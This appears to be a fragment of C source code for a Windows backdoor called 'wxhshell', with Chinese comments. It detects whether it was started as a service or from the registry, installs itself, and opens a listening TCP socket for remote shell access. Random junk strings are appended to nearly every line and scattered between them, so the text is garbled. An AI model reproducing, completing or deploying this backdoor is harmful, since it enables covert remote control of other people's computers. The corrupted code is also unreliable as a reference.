DWORD AffinityMask; *!5CL'
DWORD BasePriority; >M<3!?fW)
ULONG UniqueProcessId; @6
he!wW
ULONG InheritedFromUniqueProcessId; DB vM.'b$
} PROCESS_BASIC_INFORMATION; Q):#6|u+
g"-j/ c
PROCNTQSIP NtQueryInformationProcess; K@.5
Cfi{%,em
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s:T%,xS
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !3b& S4
:.:^\Q0
HANDLE hProcess; oW^b,{~V
PROCESS_BASIC_INFORMATION pbi; -#\ T
1/dL-"*0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^y5A\nz&
if(NULL == hInst ) return 0; [$y(>]~.
L%/RD2LD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L8 P0bNi
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LuS@Kf8N+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bZowc {!\
*xnZTj:
if (!NtQueryInformationProcess) return 0; N[{rsUBd
VU3RFl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
x ;DoQx
if(!hProcess) return 0; *>m[ZJd %=
~Ztn(1N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +k`L8@a3&
%i9S"
CloseHandle(hProcess); t3L>@NWG
{vu\qXmMv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oO2DPcK
if(hProcess==NULL) return 0; - H?c4? 5
;&d#)&O"e
HMODULE hMod; \/Y(m4<P
char procName[255]; Nd(,oXa~
unsigned long cbNeeded; Wa;N(zw0h
O8;/oL4 U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9o@3$
V,r~%p
CloseHandle(hProcess); W;u.@I&
cU;Bm}U
if(strstr(procName,"services")) return 1; // 以服务启动 w2B)$u
wNa5qp
0
return 0; // 注册表启动 =!TUf/O-
} E\iK_'#
?P9aXwc
// 主模块 f)sy-o!
int StartWxhshell(LPSTR lpCmdLine) %.bDK}
{ 1_Yx]%g<
SOCKET wsl; C4m+Ta%
BOOL val=TRUE; r8:r}Qj2w[
int port=0; P(T-2Ux6
struct sockaddr_in door; Ca-"3aQkc
f2gtz{r
if(wscfg.ws_autoins) Install(); AG(6.
KhjC'CU,
port=atoi(lpCmdLine); `Vvi]>,cg`
^G4YvS(
if(port<=0) port=wscfg.ws_port; eWH0zswG
~WA@YjQ]
WSADATA data; tZ]gVgZg
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rPk|2l,E,3
}Rh\JDiQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QK_5gD`$a,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VEps|d3,,
door.sin_family = AF_INET; |\(uO|)ju
door.sin_addr.s_addr = inet_addr("127.0.0.1"); a`wjZ"}'[
door.sin_port = htons(port); 3kxo1eb
Sca"LaW1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Kw'Y8
closesocket(wsl); 0i~U(qoI
return 1; l7QxngWw
} ~,lt^@a
')jItje|
if(listen(wsl,2) == INVALID_SOCKET) {
'|H+5#
closesocket(wsl); h&4s%:_4
return 1; fe\lSGmf
} :9&